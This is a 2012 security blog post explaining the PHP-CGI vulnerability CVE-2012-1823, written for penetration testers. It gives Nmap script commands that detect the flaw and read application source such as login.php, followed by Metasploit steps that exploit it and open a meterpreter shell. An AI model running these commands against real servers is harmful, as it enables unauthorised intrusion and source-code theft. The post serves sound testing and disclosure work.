Skip to main content
Blog May 24, 2012

Detecting and exploiting vulnerable PHP-CGI applications

A critical vulnerability affecting PHP applications which use the CGI interprerter was published which allows attackers to view the source code and execute code remotely.

Share this article:

A critical vulnerability affecting PHP applications which use the CGI interprerter was published at the beginning of this month (https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/). This vulnerability leaks the source code of the application and allows remote code execution.

Detection

To detect vulnerable applications during a pentest, we can use the NSE script http-cve2012-1823:
$nmap -p80 --script http-cve2012-1823 target

When Nmap finds a vulnerable application, it will return something similar to this:

To get the source code of another application you can use the uri parameter:
$nmap -p80 --script http-cve2012-1823 --script-args uri=/login.php <IP>

Here you can watch a video demonstrating the process detection of vulnerable PHP-CGI applications:

This script was sent to Nmap's official repository with revision ID 28545 and should be available soon. In the meantime you can download it at:
https://seclists.org/nmap-dev/2012/q2/att-239/http-vuln-cve2012-1823.nse

Exploitation

The Metasploit project has contributed a module to help exploit this vulnerability. In order to do so:

> use exploit/multi/http/php_cgi_arg_injection
> set rhost IP
> set PAYLOAD php/meterpreter/bind_tcp
> exploit

If it is exploitable, meterpreter will kindly open a session:

 

Here you can watch a video demonstrating the process exploitation of vulnerable PHP-CGI applications using MSF:

 

References

Nmap
Metasploit
https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

Subscribe to our Newsletter

Get the latest cybersecurity insights and updates delivered to your inbox.

Related Articles

Discover more cybersecurity insights and solutions to help strengthen your organization's security posture

Image unavailable
Blog October 3, 2023

A Comparison Between the Real User ID and the Effective User ID is not Enough to Prevent Privilege Escalation

In Unix-like systems, processes have a real and effective user ID determining their access permissions. While usually identical, they can differ in situations like when the setuid bit is activated in executables.

Image unavailable
Blog May 19, 2022

CVE-2022-21404: Another story of developers fixing vulnerabilities unknowingly because of CodeQL

How CodeQL may help reduce false negatives within Open-Source projects. Taking a look into a deserialization vulnerability within Oracle Helidon (CVE-2022-21404).

Image unavailable
Blog September 2, 2021

Cybersecurity in Web Applications - Where to start? Where to improve? Where to learn more?

A list of resources for web application security and a short description of what each resource covers.